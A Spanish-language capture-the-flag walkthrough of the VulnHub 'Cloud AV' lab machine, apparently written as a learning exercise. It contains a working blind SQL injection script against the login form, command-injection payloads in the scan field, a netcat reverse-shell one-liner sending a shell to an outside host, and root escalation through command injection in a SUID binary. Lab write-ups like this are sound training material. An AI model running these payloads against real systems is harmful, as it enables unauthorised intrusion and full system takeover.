BoredHackerBlog Cloud AV - VulnHub
En esta ocasion la maquina no tiene flags
Reconocimiento
❯ whichSystem.py 192.168.100.90
192.168.100.90 (ttl -> 64): Linux
PortScan
❯ nmap -sCV -p22,8080 192.168.100.90 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-19 19:36 CST
Nmap scan report for 192.168.100.90
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6a424b7c2a060f504b32cfb831e9c4f4 (RSA)
| 256 81c7600fd71e56f7a31e9f7627bd3127 (ECDSA)
|_ 256 7190c326ba3be8b3537e7353274d6baf (ED25519)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
MAC Address: 00:0C:29:A3:02:B7 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds
Enumeracion
❯ whatweb http://192.168.100.90:8080
http://192.168.100.90:8080 [200 OK] Country[RESERVED][ZZ], HTTPServer[Werkzeug/0.14.1 Python/2.7.15rc1], IP[192.168.1.90], Python[2.7.15rc1], Werkzeug[0.14.1]
La version del ssh
es muy viejo asi que podemos usar un script para enumerar posibles usuarios y contraseñas de los mismos de la maquina pero en esta ocasion no estare usando el script
❯ searchsploit ssh user enumeration
---------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
---------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Asi es como se ve la pagina web
Y bueno vemos que nos pide un codigo de invitacion pero no tenemos ninguno podemos probar inventando algunos como KYUGS55
o nose por que tampoco no sabemos la longitud de los mismo asi que lo que podemos hacer pues es probar
Bueno si no es correcto el codigo introducido la web te dice esto
Tambien no sabemos si el codigo de invitacion necesite de caracteres especiales
Vamos a interceptar con burpsuite
para ver a donde se esta enviando la peticion
❯ burpsuite > /dev/null 2>&1 & disown
Vemos que esta haciendo una peticion por POST
que viaja a /login
Ahora vamos a hacer fuzzing para que en password
pruebe caracteres especiales con un diccionario de Seclist
❯ locate special-chars
/usr/share/SecLists/Fuzzing/special-chars.txt
❯ wfuzz -c -w /usr/share/SecLists/Fuzzing/special-chars.txt -d 'password=FUZZ' http://192.168.100.90:8080/login
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.100.90:8080/login
Total requests: 32
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 0 L 2 W 17 Ch "~"
000000012: 200 0 L 2 W 17 Ch "-"
000000003: 200 0 L 2 W 17 Ch "@"
000000006: 200 0 L 2 W 17 Ch "%"
000000008: 200 0 L 2 W 17 Ch "&"
000000011: 200 0 L 2 W 17 Ch ")"
000000007: 200 0 L 2 W 17 Ch "^"
000000009: 200 0 L 2 W 17 Ch "*"
000000010: 200 0 L 2 W 17 Ch "("
000000005: 200 0 L 2 W 17 Ch "$"
000000013: 200 0 L 2 W 17 Ch "_"
000000002: 200 0 L 2 W 17 Ch "!"
000000004: 200 0 L 2 W 17 Ch "#"
000000014: 200 0 L 2 W 17 Ch "+"
000000031: 200 0 L 2 W 17 Ch "<"
000000016: 200 0 L 2 W 17 Ch "{"
000000027: 200 0 L 2 W 17 Ch ";"
000000028: 200 0 L 2 W 17 Ch ":"
000000029: 200 0 L 2 W 17 Ch "'"
000000020: 200 0 L 2 W 17 Ch "|"
000000032: 200 0 L 2 W 17 Ch ">"
000000019: 200 0 L 2 W 17 Ch "["
000000024: 200 0 L 2 W 17 Ch "."
000000025: 200 0 L 2 W 17 Ch "/"
000000015: 200 0 L 2 W 17 Ch "="
000000022: 200 0 L 2 W 17 Ch "`"
000000023: 200 0 L 2 W 17 Ch ","
000000026: 200 0 L 2 W 17 Ch "?"
000000017: 200 0 L 2 W 17 Ch "}"
000000018: 200 0 L 2 W 17 Ch "]"
000000030: 500 272 L 1353 W 17612 Ch """
Vemos que pasa nos da una respueta diferente cuando ponemos """
las doble comillas asi que vamos a ver que pasa en la web
al poner las doble comillas y darle al enter me da error y nos muestra informacion de mysql
al igual que podemos ver la ruta esta montado el proyecto y una ruta en la cual ya nos esta dando un usuario scanner
Ademas por detras esta haciendo una query
if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:
Con esto sabemos que el codigo que estamos indicando es la contraseña
Vamos a interceptar la peticion con burpsuite
otra vez esta url-encodeado
has un ctrl+shift+u
para decodearlo
Y asi te la muestra con el caracter que pusiste en el login
Vamos a emitir esta peticion al repiter
con ctrl+r
para hay hacer pruebas
Si le damos a send
vemos el error 500
Despues de probar vemos que solo hay 1
columna por que me da una respuesta diferente ahora es 200
cuando es correcta ademas si poner por ejemplo " order by 100-- -
que esta mal en la respuesta te da un OperationalError: 1st ORDER BY term out of range - should be between 1 and 1 // Werkzeug Debugger
Ahora si hacemos un " union select 1-- -
nos esta redirigiendo a /scan
Bueno para poder ver lo que hay en la ruta /scan
tenemos que aplicar la inyeccion en el campo donde nos pide el codigo si lo hacemos no muestra esto pero bueno nosotros vamos a hacer toda la inyeccion sql para averiguar el codigo de invitacion
Bueno vamos a proceder en el error sql
de la web al principio nos estaba dando la tabla code
y algo a decir es que cuando algo es valido nos muestra un 200 OK
no estamos viendo nada del lado de la web asi la inyeccion va a hacer de tipo Boolean
Bueno ahora necesitamos saber cuales de los caraceteres son correctos si testeamos cuando pongo el caracter m
la respuesta cambia asi que sabemos que el primer caracter es m
pero podemos automatizar la inyeccion con un script de python3
Esta es el script hecho por el gran maestro s4vitar https://www.youtube.com/channel/UCNHWpNqiM8yOQcHXtsluD7Q
#!/usr/bin/python3
from pwn import *
import requests, sys, time, signal, string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...")
sys.exit(1)
#Ctrl + C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://192.168.100.90:8080/login"
characters = string.ascii_lowercase + string.digits + ","
def makeSQLI():
p1 = log.progress("Fuerza Bruta")
p1.status("Iniciando")
time.sleep(2)
p2 = log.progress("Datos extraidos")
extracted_info = ""
for position in range(1, 100):
for character in characters:
post_data = {
'password': '''" or (select substr(group_concat(password),%d,1) from code)='%s'-- -''' % (position,character)
}
r = requests.post(main_url, data=post_data)
if "WRONG INFORMATION" not in r.text:
extracted_info += character
p2.status(extracted_info)
break
if __name__ == '__main__':
makeSQLI()
Estos son los codigos finales
❯ python3 exploit.py
[0] Fuerza Bruta: Iniciando
[....\...] Datos extraidos: myinvitecode123,mysecondinvitecode,cloudavtech,mostsecurescanner
[!] Saliendo...
Ahora si probamos poner un codigo en la web nos funciona si no te funciona un codigo prueba con el siguiente y asi sucesivamente
En la web nos dice que podemos tratar de escanear algunos archivos asi que vamos a probar con el primero bash
Vamos a tratar de concatenar un comando bash; id
y funciona por que el codigo no esta sanitizado
Ganando acceso al sistema
Vamos a enviarnos una reverse shell con netcat
pones el oneliner despues del bash;
y le das al boton de Scan
para que te envie la shell https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Nos ponemos en escucha por el puerto que indicaste
❯ nc -nlvp 443
listening on [any] 443 ...
Y recibimos la shell
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.100.15] from (UNKNOWN) [192.168.100.90] 49356
/bin/sh: 0: can't access tty; job control turned off
$ whoami
scanner
$ id
uid=1001(scanner) gid=1001(scanner) groups=1001(scanner)
$
para que tengas una mejor consola has esto
script /dev/null -c bash
stty raw -echo; fg
reset xter
ENTER
export TERM=xterm
export SHELL=/bin/bash
Escalada de privilegios
Tenemos un archivo SUID
scanner@cloudav:~$ ls
cloudav_app update_cloudav update_cloudav.c
scanner@cloudav:~$ ls -l update_cloudav
-rwsr-xr-x 1 root scanner 8576 Oct 24 2018 update_cloudav
scanner@cloudav:~$ file update_cloudav
update_cloudav: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=85920076615efed0c3b83a74aa1ac85ab72fb12f, not stripped
scanner@cloudav:~$
Si ejecutamos el script hace esto
scanner@cloudav:~$ ./update_cloudav
This tool lets you update antivirus rules
Please supply command line arguments for freshclam
scanner@cloudav:~$
Este es el codigo del programa
scanner@cloudav:~$ cat update_cloudav.c
#include <stdio.h>
int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";
if (argc < 2){
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
sprintf(command, "%s %s", freshclam, argv[1]);
setgid(0);
setuid(0);
system(command);
return 0;
}
Tienes que pasarle un argumento al programa, si logramos inyectar un comando lo ejecutaremos como root
por que esta asignando el setuid a 0
Vamos a hacer una prueba y lo ejecuta como root
scanner@cloudav:~$ ./update_cloudav 'xdd; whoami'
ERROR: /var/log/clamav/freshclam.log is locked by another process
ERROR: Problem with internal logger (UpdateLogFile = /var/log/clamav/freshclam.log).
root
scanner@cloudav:~$
Como no hay sanitizacion del codigo y nos pide un argumento al ejecutar freshclam
ya que en el codigo esta poniendo la ruta absoluta y podemos concatenar un comando vamos a convertirnos como el usuario root por que le estamos diciendo que 'xdd; bash'
es un argumento
scanner@cloudav:~$ ./update_cloudav 'xdd; bash'
ERROR: /var/log/clamav/freshclam.log is locked by another process
ERROR: Problem with internal logger (UpdateLogFile = /var/log/clamav/freshclam.log).
root@cloudav:~# whoami
root
root@cloudav:~# id
uid=0(root) gid=0(root) groups=0(root),1001(scanner)
root@cloudav:~#